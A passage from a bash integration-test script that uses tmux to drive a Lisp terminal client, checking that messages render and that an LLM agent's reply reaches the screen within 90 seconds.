||||
tmux send-keys -t tui-test "/eval (passepartout.gateway-tui:add-msg :agent \"RENDER-TEST-OK\")" Enter
|
||||
sleep 2
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -q 'RENDER-TEST-OK'
|
||||
}
|
||||
|
||||
test_daemon_msg_roundtrip() {
|
||||
# Stage B: does the daemon's LLM response reach the TUI's message list?
|
||||
# Sends a message, waits, then checks via /eval that an :agent message exists.
|
||||
tmux send-keys -t tui-test "Say hello" Enter
|
||||
local before_ts
|
||||
before_ts=$(date +%s)
|
||||
while true; do
|
||||
local result
|
||||
result=$(tmux send-keys -t tui-test "/eval (loop for m in (passepartout.gateway-tui:st :messages) when (eq :agent (getf m :role)) return t)" Enter 2>/dev/null; sleep 3; tmux capture-pane -t tui-test -p -S -15 2>/dev/null | grep -o '=> [^ ]*' | tail -1)
|
||||
if echo "$result" | grep -q '=> T'; then
|
||||
return 0
|
||||
fi
|
||||
local now_ts
|
||||
now_ts=$(date +%s)
|
||||
if (( now_ts - before_ts > 90 )); then
|
||||
echo "TIMEOUT: no :agent msg in message list after 90s" >&2
|
||||
return 1
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
}
|
||||
|
||||
test_agent_response_renders() {
|
||||
# Stage C: full end-to-end — LLM response appears on the rendered screen.
|
||||
# Must show actual response text, not a cascade failure.
|
||||
local before_ts
|
||||
before_ts=$(date +%s)
|
||||
tmux send-keys -t tui-test "Say hello in one word" Enter
|
||||
while true; do
|
||||
local pane
|
||||
pane=$(tmux capture-pane -t tui-test -p -S -60 2>/dev/null)
|
||||
if echo "$pane" | grep -qi 'hello\|hi there\|greeting\|hi[.!?]\|hey[.!?]'; then
|
||||
if echo "$pane" | grep -qi 'cascade.*fail\|exhausted\|neural cascade'; then
|
||||
echo "FAIL: agent responded with cascade failure, not LLM content" >&2
|
||||
return 1
|
||||
fi
|
||||
return 0
|
||||
fi
|
||||
local now_ts
|
||||
now_ts=$(date +%s)
|
||||
if (( now_ts - before_ts > 90 )); then
|
||||
echo "TIMEOUT: no agent response on screen after 90s" >&2
|
||||
return 1
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
}
|
||||
|
||||
test_connection_drop() {
|
||||
sleep 1
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -qi 'connection.*lost\|ERROR.*Connection\|error.*connect' || true
|
||||
return 0
|
||||
}
|
||||
|
||||
run_test "cascade-parsing" test_cascade_parsing
|
||||
run_test "eval-command" test_eval_command
|
||||
run_test "status-bar" test_status_bar
|
||||
run_test "add-msg-render" test_add_msg_render
|
||||
run_test "daemon-msg-roundtrip" test_daemon_msg_roundtrip
|
||||
run_test "agent-response-renders" test_agent_response_renders
|
||||
run_test "connection-drop" test_connection_drop
|
||||
|
||||
# ---- Summary ----
|
||||
echo ""
|
||||
echo "===== $PASS passed, $FAIL failed, $WARN warnings ====="
|
||||
exit $(( FAIL > 0 ? 1 : 0 ))
|
||||
Reference in New Issue
Block a user